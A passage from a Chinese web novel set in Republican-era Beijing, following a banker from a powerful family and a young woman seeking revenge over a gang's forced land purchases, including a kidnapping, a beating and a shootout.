井弘深看不出沈靳言对此的态度,只得问:“萧素素进沈府的目的没有那么简单,要不要让夫人把她撵出去。”
沈靳言却说:“我大哥是什么人?岂是她想怎样就能怎样的?找我大哥报仇,她怕不是在找死?我大哥要是那么容易就能被怎么样,他早死千百回了!还轮得到她来报仇?”
井弘深道:“可要我去报告夫人?”
沈靳言摇摇头,道:“萧岐山既然认了她做女儿,我也不能让他在我眼皮子底下有个什么长的短的,你派人好好看着她,别让她伤到自己,也别让别人伤到她。”
井弘深只得照办。
沈靳言真正见到萧素素是她主动找上门的时候。
这日,井秘书敲响他办公室的门,请示:“萧小姐来了,您有空见她吗?”
沈靳言忙道:“快请她进来。”
萧素素穿着白衬衣黑西裤,很干练的样子,走进来不等沈靳言发话,自顾自的坐在了沈靳言办公桌对面的沙发上,这和沈靳言去萧岐山办公室的架势简直一摸一样,沈靳言并没有见怪。
萧素素翘起二郎腿,开门见山:“我知道你调查了我,我同样也调查了你,所以没必要寒暄了,我就说我的来意吧笑。”
沈靳言看着她装大人的样子就觉得好笑,也不阻止她,示意她继续说。
萧素素双手环抱胸前,道:“西山胡同还有254户居民不同意卖宅基地,所以沈靳亭没有拿到再建筑许可证。”
沈靳言嘴角含笑,道:“这事与你有什么关系?”他这当然是明知故问,他单纯就是想逗逗这个装大人的小屁孩儿。
萧素素一愣,才道:“我是这254户中的其中一户。”
“那又怎么样?”沈靳言继续逗她。
萧素素沉不住气,从沙发上蹦起来双手撑在沈靳言的桌子上,道:“你如果买下这些地,定能再次拿回黄河建设的话事权。”
沈靳言心里暗骂一声:幼稚!股东们投沈靳亭的票不是因为西山胡同那片土地的建设问题而是单纯因为他是父亲的嫡长子而已。
沈靳言觉得说了萧素素也不会明白。只是乐此不疲的戏耍她:“你告诉我,我为何要拿回黄河建设的话事权?”
萧素素见他这样的态度,心里有了些气:“沈靳亭掌握了黄河建设,下一步就是黄河百货,再下一步就是黄河煤油,再下一步就是花国通商银行。就问你到时候你在沈家还有立足之地吗?”
沈靳言继续逗她:“有没有可能我哥会先一步对花国通商银行下手呢?后面才是黄河百货?”
萧素素一噎,道:“就算是吧?难道你要眼睁睁看着他做一切?”
沈靳言哈哈大笑,道:“我当然不能眼睁睁看着,所以我非帮你不可吗?这两者没有因果联系吧?”
“我不需要你帮我,我们可以合作!”萧素素一本正经,目光一直盯着沈靳言,充满着恳切。
“素素,你想问题还是太简单了。”沈靳言突然变得严肃,说起话来弄得萧素素莫不着头脑。
他叫她素素?这个称呼是第一次见面的人合乎礼貌的称呼吗?
“素素?”萧素素戒备的看着沈靳言,连瞳孔都放大了。
她问道:“我们认识吗?你为什么叫我素素?”
“不认识。但胜过认识。”沈靳言解释道,“我是你父亲的好友。”
萧素素的睫毛扑闪了两下,父亲?
逝去的父亲不可能认识沈靳言这样的权贵,他说的父亲是大爸吧?
萧素素没有告诉大爸她的仇恨,大爸要是知道了肯定不会同意她来沈家做家庭教师。
思及此,她走到沙发边坐下,比刚刚老实多了。
她气呼呼的说:“大爸对我有恩,你既然是他的朋友,我就敬你三分,但我亲生爸爸被你们黄河建设的人放火烧死了,这事不能就这么算了!”
沈靳言看着她什么都对自己和盘托出,觉得她真是一个只知道读书的楞头青。心想她这么单纯还指望报仇?做梦还差不多!
他耐着性子道:“你父亲不是我们黄河建设放火烧的,是兴邦放火烧的,倪搞清楚没有?”
萧素素不服气:“兴邦还不是听你们黄河建设的。”
沈靳言摆摆手,否认道:“兴邦的帮主叫熊睿,他只听命于我大哥。还有我大哥是我大哥,黄河建设是黄河建设,你千万不要搞混了,你这样到处乱咬是报不了仇的!还不如趁早放弃吧。”
萧素素昂着头说道:“放弃?杀父之仇不共戴天!”
沈靳言目光一凛,质问道:“所以呢?所以你要杀我大哥吗?”
萧素素目光躲闪,咬着嘴唇不说话。
沈靳言气笑了,嘲哄道:“你这样把你的底牌全部都给我看了,还怎么报仇?我和沈靳亭是血浓于水的手足啊!你来找我是指望我给你报仇?凭什么你认为我会帮着你对付我大哥?”
沈靳言以前觉得女子笨是因为被困于内宅,没有男子同等的机会与外界接触,更没
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有同等的条件接受教育,因此难免会显得笨一些。如今看到这个燕京大学的女大学生也这样笨,觉得简直不可思议。
他平日里真的有厌蠢症!但萧岐山待他如手足,上一世又替他收了尸,现在难得拜托他一件事,所以他只能克制住任她自生自灭的想法,替萧岐山护着她。
他忍耐着骂她的冲动,道:“给我个理由说服我和你合作。”
萧素素解释道:“我没有指望你帮我报仇,我只是来求你跟我合作的。而且你必定会跟我合作!”
沈靳言说:“你太自信了,若不是看在萧岐山的面子上,你根本就见不到我。”
萧素素这次没有犟嘴,知道他说的是事实。
她长长的吐了一口气,道:“沈靳亭是不是经常侮辱你只是个区区庶子,在他心中沈家的一切都应该是他的,没有一分一毫跟你们这些庶子有关系。他从来都没有把你当作他的弟弟。”
听了萧素素的话,痛苦的回忆涌上心头,沈靳言知道他大哥的确没有将他当作弟弟。
宋婉是沈松龄巧取豪夺来的,沈靳言常常替母亲感到不值,她是前朝户部银行经理的千金,父亲强娶她的时候前朝还没有覆灭,只是外祖父遭人诬陷被褫夺了官职,父亲趁火打劫强娶了她做姨太太。嫁给父亲后母亲每每伏低做小也换不来一日安宁日子。
沈靳亭讽刺沈靳言都是不超过三句话就必有一个“庶子”。
沈靳亭更不许沈靳言叫他“大哥”,他觉得沈靳言不配叫自己大哥。
所以沈家的庶子庶女都不敢叫他大哥。
后来沈家买了几辆洋车,沈靳亭更不许他们跟着他一起坐车。
读中学的时候,沈靳亭自己开一辆车,前后还各一辆车装着一群保镖保护他。而沈靳言和其他两个差不多大的兄弟只能挤一辆车去学校,而且还没有保镖保护只有司机开车。
沈松龄宦海沉浮,敌人很多,沈靳言和弟弟妹妹们天天都过着提心吊胆的生活。
沈靳平就是被别人绑架后撕票的。
外人觉得沈松龄最看重沈靳言,常常只把他这个次子带在身边。其实沈靳言最清楚,沈松龄做什么都喜欢未雨绸缪,他只是父亲的未雨绸缪。
他从小学什么都比其他兄弟姐妹们厉害,若说备胎,他是沈松龄最好的备胎。
萧素素见沈靳言坐在那里无动于衷,不知道他在想什么,她继续道:“你就算不为自己着想,你也要为你母亲想想吧?你母亲就你一个儿子......”
沈靳言被她从回忆中唤醒,道:“你先坐下,听我跟你慢慢说。”就当是还上一世萧岐山给自己收尸的恩情吧。
萧素素有些迟疑,还是坐下了。
沈靳言道:“在沈家老宅,你报不了仇,除非你嫁给我哥做姨太太,要不然你很难接近我哥。所以你先辞了我家的工作,到我身边来工作,我们慢慢谋划,报仇雪恨的方式有很多种,取人性命是下下策。人生有很多事值得我们去做,不要为了报仇鱼死网破。”
6. 旧时(五)
萧素素去向欧繁汐辞职的时候,欧繁汐只提了一个要求:等下一个家庭教师到任后才可离开。
这要求不过分,但也堪堪让她等了月余。
回萧家后,萧岐山便让萧素素带着管事去宝坻田庄收租子。
他说:“......让你经手这些事情是让你学习生存之道,这只是我的第一层意思,我还有第二层意思,那里的庄子上很清静,你可以去散散心。”
他叹息着说:“你爸爸确实死的太突然了,做子女的哪有不伤心的。只是,凡事不要太钻牛角尖,你需要好好思考一下你的未来,你爸爸供你读书,肯定是希望你将来能把自己的日子过好,绝不是让你潦草的过完一生,要不然他一个卖馄饨的何必辛苦筹钱供你读大学......在我国,能读书的女子并不多,何况你还读了大学,把你的学识贡献给国家不好吗......在那里的庄子上散散心,想清楚了再回来。”
萧岐山给管事孙昊乾授了意,让他断断续续的给萧素素透了些萧岐山的底细:“......萧家祖上是贩卖茶叶起家,后代陆陆续续捐了些官,到了高祖那代终于出了个詹士府詹士,从此才富庶起来。老爷是旁支,前朝时考了兵科举人,毕业于日本陆军士官学校,曾任前朝皇家禁卫军正三品参将......因老爷无后,族里多次提议让他过继嗣子,老爷都婉拒了。”
“如今老爷认下大小姐和二小姐,也算是解了膝下孤苦之困。”
收完租子,打发了孙管事回萧府赴命,在那无人的庄子上,萧素素无事可做,反而有时间想那些忧愁,想爸爸被烧伤后的惨状,想爸爸在时对未来的憧憬,无尽悲苦。
不想自己困在这悲伤中,她只得去信让萧家派车来接。
去花国通商银行上班时,已到了冷风飘雪的季节。
井弘深给萧素素指定了业务“师傅”施卓然。
施卓然是个“海归”大小姐,大冷的天也穿洋裙丝袜,好像那个腿不是她自己的一样,她很是看不起萧素素,觉得她是个土包子。
她是不可能给萧素素讲银行的事的,萧素素只得通过往来账薄和银行日志了接一二。
花国通商银行创办于1917年,是沈靳言和萧岐山联合创办的。花国通商银行创立时,招商股金300万两,先收金240万两,并向中央银行借金60万两,分3年摊还,已如期偿还。虽说是沈靳言和萧岐山联合创办,但实收资本中有220万两都是沈靳言筹措的,占比91.67%。
此前花国的银行皆为外商银行或者官办银行,花国通商银行是花国第一个纯粹的民办银行。尽管创办人之一的萧岐山是陆军少将。但他在花国绝对算不上是个官僚。
施卓然看着萧素素一连几天都不吭声不坑气,觉得她是个好拿捏的,就拿着一个文件甩在萧素素脸上,努努嘴:“这是公司章程,下班前必须背得滚瓜烂熟!”
萧素素已经习惯了施卓然对她的敌意,但她也忍不了,争锋相对道:“施小姐,你内分泌失调吗?说话也不知道控制一下嗓门!”
施卓然受的教育是西式个性化教育,哪会忍别人当众怼她呢?嗓门更大了:“你说什么呢?”
萧素素继续怒怼:“我说你内分泌失调,嗓门大!你听不懂啊!”
施卓然忍她几天了,撸起袖子走过去。
“啪!”
会议室传来瓷器碎裂的声音,吓得施卓然和萧素素一个激灵。她们俩不约而同的去趴在会议室门口听墙角。
里面是沈靳言正在骂金库主任傅砚东。
“傅砚东,你到底是财政次长的走狗还是我通商银行的金库主任?现在通胀越来越严重,你看不出来吗?你还不断的建议发行法币!”
“我问你,现在现金准备加上保证准备是多少?”
另一个声音低若蚊音:“1200多万元。”
“才1200多万?!”
沈靳言的声音仿佛能掀翻屋顶,又重复了一遍这个数字:“1200万!”
他气笑了:“傅砚东!你最适合当汉奸!你也适合当财政部的走狗!我看你就是想让我通商银行尽快被中央银行接管!”
还是那个沈靳言的声音:“......大家都说说,现在怎么办?”
.........
“说!”
会议室里鸦雀无声,施卓然和萧素素侧耳倾听,门突然从里面打开,两人摔了个四仰八叉。
沈靳言两手插兜,看了一眼倒在地上的两人,又对会议室的人说:“明天开会之前把你们的方案准备好。”
萧素素从地上爬起来,看到会议室里那群半老头个个面红耳赤,她尴尬的咽了咽口水,又听沈靳言吩咐:“施秘书收拾一下会议室,萧秘书跟我出去一趟。”
萧素素连滚带爬的跟着沈靳言,留下施卓然横眉怒目。
沈靳言走到车前,把车钥匙甩给萧素素,道:“我今天很累,你来开车。”
萧素素尴尬道:“我不会开车......”
沈靳言指了指她,没有说话,极其无语,气得原地转了两圈:“......必须尽快学会!”
一边说一边给她把后车门打开,自己则进了驾驶室。
萧素素心说,你一个老板也没有必要给我打开车门吧?我又不是没有手。
她从后视镜中看到沈靳言脸色并没有刚刚那么凝重了,便问:“行长,我们去哪儿?”
“老宅。”他言简意赅。
“做什么?”
“夫人的生日。”
“我去做什么?”
“......给你一次机会,让你看看你能不能近我大哥的身,免得你整天不好好工作还觉得我让你离开老宅是害了你......”
萧素素有些雀跃,一路都在幻想自己如何把沈靳亭千刀万剐。
车子停在了黄河百货,她怪道:“来这里做什么?”
沈靳言一脸嫌弃的看着她:“就你这一身去参加生日宴吗,我怕别人会把你当做沈府的大丫鬟。”
萧素素不关心自己是大丫鬟还
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是小丫鬟,只关心买衣服的钱谁出,便问道:“置衣费报不报销?”
“不报销。报仇是你自己的事儿,按道理来说,我只有阻止你报仇的义务没有帮助你报仇的义务!”沈靳言语气理所当然。
萧素素不干了,插着腰问:“那我以什么身份去参加生日宴?”
沈靳言依旧理所当然:“当然是我女朋友的身份。”
萧素素心想,果然如她所想,便理所当然:“所以啊,当然应该你给我买衣服。就我那寒酸的工资能买什么衣服?只能买令你丢面子的衣服!”
沈靳言觉得她真的是牙尖嘴利,只得投降:“行!去了老宅记得你今天的身份,莫让我来给你收尸。”
“才不会!我看你给沈大公子收尸还差不多。”
他们在黄河百货受到了贵宾般的接待,挑了一件淡蓝底子五彩折枝菊花刺绣旗袍,一件竹叶青镶金丝飞凤纹大毛斗篷。
沈靳言皱了一天的眉头终于舒展开,道:“这才像萧岐山的女儿。”
呸!
人靠衣裳马靠鞍,穿的不好都不配当大爸的女儿了吗?迂腐势力的狗玩意儿!
沈靳言看着萧素素脸上变化多端的表情,大脑有点停转,严重怀疑自己耳朵失去了某项功能,他觉得她好像说了很多话,但他一句也没有听见。
来参加生日宴的都非富即贵,甚至有参议长吴景深的妻子和财政部次长徐堪的家眷,还有一些想和沈家结亲的官员家眷。多数的人却不是为寿星欧繁汐来的,只是借着给她过生日的名头和沈家子弟打交道。
原本以为至少宋婉会对她这个冒牌货盘问一番,没想到宋婉啥也没问她,装模作样的在席面上吃了一会儿东西就回自己的院子了。
行,省了她不少事!
她一晚上都盯着沈靳亭,眼都没有错开过,根本没有心思欣赏欧繁汐生日宴的奢华,好不容易看到他落了单就操起宴席处的水果刀要跟上去,好巧不巧,却看到沈静雅在花厅里向她招手。
萧素素只好假笑着到沈静雅那里去。
沈静雅道:“我专门在这里给萧先生开了席面......免得你去和那些人应酬,毕竟你和他们也不相熟。”
她才六岁,就小大人似的端着当家的做派,不过,萧素素还是挺感动的。
看着萧素素吃了些四吃活鱼、云片熊掌、三丝鱼翅、寿比南山,沈静雅便一脸委屈的拉着萧素素的手道:“过了年我娘就要将我送到基督教教会学校去读书了,我不喜欢听那些传道士讲课,我爹说他们非我族类其心必异!可是我爹病了,已经三个月没有回家看我了,我爹不在,没有人能说服我娘!”
萧素素试着建议:“你如果实在不想去教会学校读书,也许你大哥哥能帮你说服你娘,要不你去找你大哥哥帮忙?”
欧繁汐是正室夫人,按古代的算法,沈静雅也是嫡出。沈靳亭应该会高看她一眼吧?
沈静雅点了点头又摇头,道:“我不敢去找大哥哥,要不你带我吧?”
萧素素求之不得!
7. 旧时(六)
宋婉刚从宴席处出来就遣大丫鬟偷偷给沈靳言递话,让他回湖东畔找她,说有重要的事情。
沈靳言正在和沈靳晖商量黄河茶行的生意,只得和沈靳晖说晚点去找他。
他知道萧素素和沈静雅在一起吃席,但还是有些不放心,怕萧素素去找沈靳亭报仇伤到她自己,便留下那大丫鬟远远的看着萧素素,自己回了湖东畔。
宋婉亲自给他端上桂花蜜茶,道:“参议长夫人今天来是找夫人来说亲的,她看上了静恬,想让静恬给她做大儿媳......”
沈静恬是沈靳言一母同胞的妹妹,现在在欧洲游学。
沈靳言将手贴在青花缠枝纹茶盅上取暖,想到妹妹上一世都在欧洲游学,留下许多画作传世,自己很是羡慕。
而吴景深上一世则是谁当总统他就巴结谁,一辈子都在参众两院盘桓,他仕途还不错,但他长子是个不成器的,后来染上了烟瘾……
他放下桂花蜜茶,道:“吴家现在是鲜花着锦、烈火烹油,但这样的人家不长久的......”
儿子一向是宋婉的主心骨,他说不好,一定是不好。
听言立马道:“那好!我回了太太,就说静恬在外盘桓,野了,不想回国。”
宋婉又道:“你怎么和那个家庭教师好上了?她家庭条件可不好,配不上你......”
沈靳言淡淡道:“只是先处着......再说了,有几家条件比我们家好的?”
宋婉道:“那也不能差这么多......”她觉得她儿子在旧朝是可以娶公主格格的,再怎么差也是名门望族之女。
沈靳言道:“人家不差,她是萧岐山将军的女儿……”
宋婉一惊,嘟哝道:“府里的下人不是说她是小生意人的女儿吗……就算是,那也差了。”
沈靳言道:“这些都是身外之物,不重要!”等外毁来袭,国破家亡时,谁又比谁谁好的了哪儿去。
他道:“你儿媳妇是谁不重要,只要她将来对您好,孝敬您就行了。”
儿子这么孝顺,宋婉很感动。
她又问道:“上次夫人要卖你票号的事后来怎么说的?”
沈靳言道:“她本来就只想卖给大哥,不想卖给别人。只是大哥起初不想出钱想白拿,她不甘心才找我谈这事,后来大哥怕我买了去,就给了个合适的价钱给她......这事她后来都没找过我了。”
“没找你也好,娘不想你跟她打交道。”
......
戏台上欧阳予倩正在唱红楼戏。
“眼前分明外来客,心底却似旧时友......
其实台下没有人听,这大宅门比不得寻常百姓家里单纯,一家人不会围在一起享受天伦之乐,请唱戏的只是因为这是撑场子的传统项目,沈家也不差钱。
萧素素和沈静雅从花厅出来,四处找沈静亭。
宴息处有两侧偏厅,东边偏厅欧繁汐和参议长夫人、财政次长夫人以及中央银行的家属打牌。西边偏厅外有一片梅林,通过一个夹道连着前院的西厢房。沈靳亭和倪梦珍并没有在偏厅里面,沈靳言也不知道去哪里了,她们沿着夹道往前院走,夹道里没有通电,昏暗不明,就有两个小丫鬟掌着羊角琉璃灯在他们前面引着。
沈靳堂在月门外面的花厅里和一个名媛在聊天。
他才二十岁上下,已是风月场上的老手,听那言语极其轻浮。他是四姨太所生,沈松龄儿子就有六个,并不很受重视,从小就是个纨绔,奇技淫巧,一学就通。
他和那名媛说:“我最近在研究洋人的玩意儿,你说比基尼为啥在花国不能流行,来我看看,你这身段最适合穿比基尼,……这里,还有这里……满的……”
萧素素听着不像话,领着沈静雅从旁边的抄手游廊去。
天气有些冷,许是去百货公司的路上吹了点冷风,头有些昏沉沉的,鹅卵石上有些青苔,萧素素脚下一滑,昏过去了。
……
醒来她被绑在一个圈椅上,动弹不得,沈静雅也不知道去向。
门口的士兵看到她醒了,默默出门去了。
她脑子里一片空白,也动不了,过了几秒才反应过来,她这是被沈静雅下药了!?
沈静雅才六岁,她怎么会?
为什么?
过了好一会儿,沈靳亭带着一群人摸狗样的东西进来了,他也不说话,径直到对面那个长条桌前坐下,那群人摸狗样的东西朝她走来,围住她。
只有熊睿走到她面前,上来就是一耳光。
萧素素被打得偏过了头,白皙的脸上迅速浮起一抹红痕。
她心里有些害怕,但因为太愤恨了,全然顾不得有些颤抖的心,问道:“沈局长,你为什么要打我?”
沈靳亭九月履新为通讯局局长。
他坐在那里依旧没有说话,仿佛听不到萧素素在跟她说话。
“问你话呢!”
“你聋了吗?”
“还不快放开我!”
见他无动于衷,她又对着熊睿狂吼:“你们这帮恶棍,还有没有王法?”
熊睿也像完全没有听到她的话,又给她甩了一耳光。
这次打得萧素素嘴角都渗血了。
萧素素呸出一口血来,骂道:“王八蛋!你们凭什么打我!还不快放了我!”
沈靳亭还是不说话,伸手挠了挠耳朵,熊睿就又上前给了萧素素一耳光。
屈辱,愤怒裹挟萧素素!驱使她不管不顾:“沈靳亭,我要杀了你!我要将你千刀万剐。”
“啪!”熊睿又给她了一耳光,这次手掌落到了眼脸上,萧素素目光昏花着。
萧素素仿佛被抽光了力气,完全没有力气吼了,眼泪夺眶而出。
“你们为什么打我?”
沈靳亭仿佛终于启动了开关,笑着看了萧素素一眼,对着熊睿骂道:“王八蛋!你凭什么打她!你不懂得怜香惜玉吗?”
他起身绕过长条桌,抬腿就给了熊睿一脚!
熊睿面无表情的低头认错:“对不起,大少爷。”
沈靳亭亲手给
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萧素素松了绑,用食指抬起她的下巴,轻声道:“哎哟,脸都肿了,再打这张如花似玉的脸就要破相了。”
萧素素怒极,抬手甩过去巴掌的时候,被他一把抓住。
沈靳亭故作委屈,问道:“怎么了?萧先生?你知道我跟八妹一样,一直都很敬重你的。我刚刚可是救了你啊!你怎么能打你的恩人呢?”
萧素素欲抽回自己的手,却被沈靳亭牢牢抓住。
萧素素努力挣脱,依旧挣脱不出来,眼泪横流,她从来没有受到过这等羞辱:“你们为什么这样?”
沈靳亭的后槽牙咬着,充满求知欲的问熊睿:“你们为什么这样?”好像真在为熊睿打萧素素而生气。
熊睿依旧面无表情,低头道:“她手里有一间商铺、三间住房,找她很多次了,开始找不到她,后来终于找到了,她始终不肯签字卖给我们。”
沈靳亭转过头来,笑容像电灯开关一样,一键开启:“这些人不讲道理,他说你不签字所以他就要打你。”
萧素素想杀了他,凌迟他,咬死他,她听出了他的警告,因此依旧对着他说:“所以你们都是这么强买强卖吗?”
之前那两百多家开始坚持了很久,后来都陆陆续续都把地卖了,想来也是被这么暴力胁迫的吧?
也是,□□杀、杀人放火,她们什么事情做不出来?
“你们这群畜生!你们还有没有王法!”
沈靳亭脸上满是无辜,问熊睿:“你们都是这么干事的?强买强卖?没有给钱吗?你们还有没有王法?”
熊睿颔首:“大公子放心,我们一直都是按市场价给钱买的,没有少一分钱。不存在强买强卖,后来甚至有人跪着求我们买。”
“你看看你们,让萧小姐误会了不是?”
熊睿拿着个协议过来,展开在萧素素面前,道:“萧小姐放心,我们给你的价格最高,是他们的两倍。”
沈靳亭没有放开萧素素的手,脚下又给了熊睿一下:“买卖是这么做的吗?下作的东西!谈买卖就谈买卖,哪有先动手后谈买卖的。”
他笑嘻嘻的对萧素素说:“萧小姐,我替你教训了这个混账东西,你看你是不是在买卖合同上签字?”
萧素素手被他捏得生疼,整个人完全被他控制住,好像她一动他就会把她手捏断。
她道:“放开我!”
沈靳亭一手捏着她的双手一手抬起她的下巴,问道:“你只需要告诉我,你签不签字?”
“不签!”打死她也不签,不就是死吗!死有什么可怕的!
沈靳亭一愣,看来是个不识时务的,他放开她,示意熊睿他们继续打她。
“砰!”
房门被人从外面踢开。
沈靳言进来,直接冲到沈靳亭面前用枪指着他的太阳穴。
“把人给我放了!”他也是对着沈靳亭说的。
熊睿他们还没有反应过来,等反应过来迅速掏出枪来,都指着沈靳言。
沈靳亭笑笑:“看不出来啊!你居然敢拿枪指着我!”
8. 旧时(七)
熊睿示意其中两个跟班把萧素素绑起来,免得对峙的时候还要抽空应付这个女人!却听沈靳亭又重复了一遍:“看不出来啊!你居然敢拿枪指着我!”
明显情绪比刚刚更激动了。
“你说说看,我为什么不敢拿枪指着你?”沈靳言淡淡的说道,用沈靳亭从小就讨厌的那种矜贵恬淡的语气。
区区庶子,凭什么这么从容!他才是沈家的嫡长子。
沈靳亭道:“我可是你大哥!你敢拿枪指着我!”
沈靳言冷笑一声:“你信不信我还敢毙了你?你要知道,把你毙了,我就是沈家的长子了!”
“你敢毙了我吗?这么多枪指着你?”沈靳亭咬牙切齿,其实他不敢想象,他更不敢肯定。
“要不我试试?”沈靳言慢条斯理的说着,声音和刚刚没有什么区别。
“别!”熊睿冷汗淋漓,拿枪指着沈靳言的手差点抖起来,“你把枪放下,这可不是开玩笑的!”
沈靳言笑笑,道:“熊帮主,我要是杀了我大哥,你是不是也不敢开枪杀了我?”
沈靳亭听着这话血液就直往脑门上冲,很快就大汉淋淋了,又说了一遍:“我可是你大哥!”
“哟!你是我大哥啊?你知道你是大哥啊?”沈靳言极尽嘲哄,怒吼:“你不知道你是我大哥!”
沈靳亭闭闭眼,咬牙切齿的说道:“把枪放下!”
沈靳言偏偏慢悠悠的说道:“素素是我女朋友你知不知道?你知道,但是你还这样对她!你看把她打的?这是一个大哥做的事吗?哦,对了,想来也不可能是你打的!打人这种事你怎么会亲自动手呢?你可不会动手!那你说你是我大哥,难道大哥看到弟媳妇被欺负可以坐视不管的吗?哪个大哥可以看着兄弟媳妇受外人欺负的?你不但让他受外人欺负,你恐怕还指使外人欺负她!你这是大哥应该有的德行吗?”
熊睿慌忙解释:“不是大少爷指使的,是我自己打的,大少爷对此很生气,还踹了我两下,已经替萧小姐出过气了……二少爷,兄弟是手足,女人是衣服……可千万不要为了女人伤了兄弟和气!”
他说着,被沈靳言一瞪,马上就忘了下面的话了,他竟不知道二少爷的眼神比大少爷还阎王。
他慌忙把枪垂下,抬手掌自己的嘴,就在此时被沈靳言趁机击毙了。
“这就是乱说话的下场!”沈靳言边说着,拿着枪的手往前抵了抵。
所有人都吓傻了,等反应过来,才发现沈靳言又用枪指着沈靳亭了,道:“看到没,我没有用枪指着你的时候他们也不敢朝我射击!”
他说的是真的!
沈靳亭也不傻,兴邦的人是没有人敢杀他们兄弟,这些人的全家老小都在沈家手里,谁都要为自己的家人想想。
这些人在他们面前只有服从服从再服从。
他也是经历过大阵仗的人,知道这时不是硬碰硬的时候,审时度势的对兴邦命令道:“你们都把枪放下!”
熊睿死了,兴邦的人群龙无首,不敢下决定,都你看看我我看看你!没有谁敢第一个放下枪。有人鼓起勇气讨价还价:“二少爷放下......我们就放下。”
“砰!”又是一枪。刚才说话的人已经倒在了血泊中。
沈靳亭很后悔自己手上无枪,现在连讨价还价的筹码都没有,他用眼神询问,沈靳言一副有事好商量的语气:“只要你今天答应,以后素素的地她想卖就卖,不想卖就不不卖,我就把枪放下。还有,你的人离她远点,越远越好。”
沈靳亭一句话都说不出来,只得闭着眼点点头。
他感觉所有人都收枪了,只有抵在他脑门上的枪纹丝不动,他又睁开眼睛望向沈靳言。
沈靳言冷笑道:“素素是萧岐山的女儿其实你也是早就知道的吧?但是你今天故意装作不知道是早想好了退路对不对......到时候萧岐山来找你,你就推辞说你不知道她是萧岐山的女儿是不是?”
沈靳言觉得还是今天干脆把话说开,让沈靳亭以后不能再装!
说完他才把枪放下,沈靳亭抬手就想打沈靳言一巴掌,被沈靳言稳稳接住!
“大哥,刚才那一幕还要重来一次吗?”
沈靳亭听罢,带着兴邦的人愤然离开。
沈靳言快步走到萧素素身边,她的脸有些红肿发青,脸上泪水磅礴,止都止不住。他从来没有亲眼见过哪个女子这么狼狈,而且还是她,下午才那么牙尖嘴利、鲜活生动的一个人,晚上却被欺负成这样,还是被一帮男人!
他想去抱住她,好好安慰她一翻,可是那怎么行,他是义兄的女儿,不可以这样,那不真成了男女朋友了吗。
他侧过身,让萧素素看不到他的表情,道:“对不起。今天是我不该把你带到沈公馆来,不然你不会受这么大的委屈。”
萧素素没有答他的话,在圈椅上闭眼坐了一会儿,感觉眼泪依然止不住,用手轻轻挡住,眼泪濡湿了掌心。
沈靳言看着她抖动的肩膀,心里胡乱的想着,上一世他没有遇见过她,那她有没有遇到过今天这件事呢?后来她怎么样了呢?当初在黄河建设的股东会上自己是不是应该更强硬一些?或者那天也像今天这样用枪指着,那么黄河建设的话事权就不会丢了。
前世在金融领域有太多遗憾,导致今生他主动放弃了黄河建设的话事权,毕竟人的经历有限,不能面面俱到。
自己在隔与舍之间是不是害了太多萧素素这样的平头百姓?
他把手放在萧素素头上,轻轻的拍着,道:“永远都不要把你的地卖给沈靳亭。有了今天的事,他也不敢把你怎么样了......毕竟我不会放过他的。”
萧素素沉浸在泪水的海洋中,依然能斩钉截铁的回答:“绝不会卖!”
“要不要我背你回家?”想到沈府人多嘴杂,她一个年轻姑娘肯定是怕别人看到脸上的伤的,沈靳亭觉得还是背她出去比较好。
萧素素沉默了一会儿,沈靳言觉得她是默认了,便屈身让她上背。
他安慰她:“就当被狗咬了.....
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.”
......
沈府的人听到枪响陷入了惊慌,几位官员的太太找了托词就要离开,欧繁汐道:“孩子们偶尔练习一下射击也是有的。”
她把宾客一一送出了府门。
沈靳亭在兴邦下了封口令,就说他们为了帮主之位内斗杀了熊睿,警察厅那边也有了交代。
一路上遇到很多人,萧素素把脸埋在沈靳言的背上,看不到她脸上的伤,也就没有旁的人问她怎么了。
倒是沈靳堂看见沈靳言背着萧素素出前院前问了一声:“二哥,她怎么了?”
沈靳言道:“昨晚太累了......现在睡着了。”
沈靳堂:“......”
他旁边的名媛则苦口婆心:“今晚别让人家太累了。”
沈靳言:“......”
萧素素觉得无脸见人,一直闭着眼睛,把头埋在沈靳言背上,她闻到沈靳言背上有一股柠檬香,背也由刚硬变得温暖烫贴,像父亲的温度,让她心情渐渐平静,竟然真的睡着了......
北风刮得破碎的雪在空中飞舞,花坛里积了层雪“”
沈靳言的别院在恭王府后面的那一条街,是一栋三层小楼,楼顶有阁楼。他将萧素素背到三楼,放在西式大床上,叫了吴妈来照顾她,自己则去了二楼的书房。
井弘深似乎在走廊的长条凳上等了很久,见到他背着萧素素去三楼的时候就站起来了,他知道沈靳言很快就会下二楼来。
沈靳言进了书房,坐在书桌后面的椅子上,那书桌上全是英文的经济学书籍,有一本已经读了大半了。
他拿出了雪茄,擦燃了火柴,点着雪茄。
“黄河蚕丝的公司章程修改好了没有?”他好像一个没有血肉的木偶一样,语气极其冷淡的问。
点雪茄的火柴棍是那种外资饭店专有的加长特用火柴,他并没有马上将它熄灭,而是放在了书桌上的烟灰缸里,任由他自生自灭。
雪茄烟头的红星暗淡后,随着他呼吸的起伏,口中的烟气吞吞吐吐,笼罩在脸前,一片烟青色,显得他的脸坚毅果敢。
井弘深递上一个文件,沈靳言没有接,不敢放在书桌上,井弘深犹豫了一下,又收回了文件。
沈靳言正正经经的坐在书桌后面一动不动,只拿一双深邃的眼眸盯着西边的摆钟,若有所思且深不可测。
井弘深试探的叫他:“行长?”
沈靳言没有应他,半天转过来用他幽深的眸子无声询问他。
“大公子为了胡同改造计划向花国银行贷款了20亿银元。”
“花国银行不会批的。”沈靳言笃定道。
井弘深常常被沈靳言的运筹帷幄深深震撼到,比如,此时也是。
“那我们是不是可以利用这个机会东山再起?”井弘深一直都觉得沈靳言比沈靳亭有能力,对穷人亦怀着同情心,还热衷公共事业和慈善事业,他掌权对民众自然是有利的,他希望他拿回话事权。
“时机未到。”
9. 旧时(八)
萧素素觉得大脑有些失控,她慢慢坐起来,靠着床背,看窗外,发现自己没有在萧家。
揭开被子,身上穿了件丁香色的睡衣,也不是自己的?她怎么睡得这么死,难道是沈静雅昨天那个药还在起作用?
想到昨天沈靳言背她的样子,心里猜到这里应该是沈靳言的别院。
她屐着床边放着的鞋,进了卫生间,是个装了淋浴抽水马桶的卫生间。
这很先进,萧家都没有这些装置,萧素素正准备上厕所,发现身后有个人影,吓了她一跳,转身一看,是个西洋的穿衣镜,那个人影竟是镜子里的自己。镜子里的自己难看的很,脸上青一块儿紫一块的,但不摸那里一点都不疼了,应该是被上了药。
开了门,就看到东面有通往一楼的楼梯,她径直走下去,看到萧薇正在一楼的客厅里吃糕点。
“薇薇,你怎么来了?”她不应该在这里,这里不是萧家,而且今天她应该在上学。
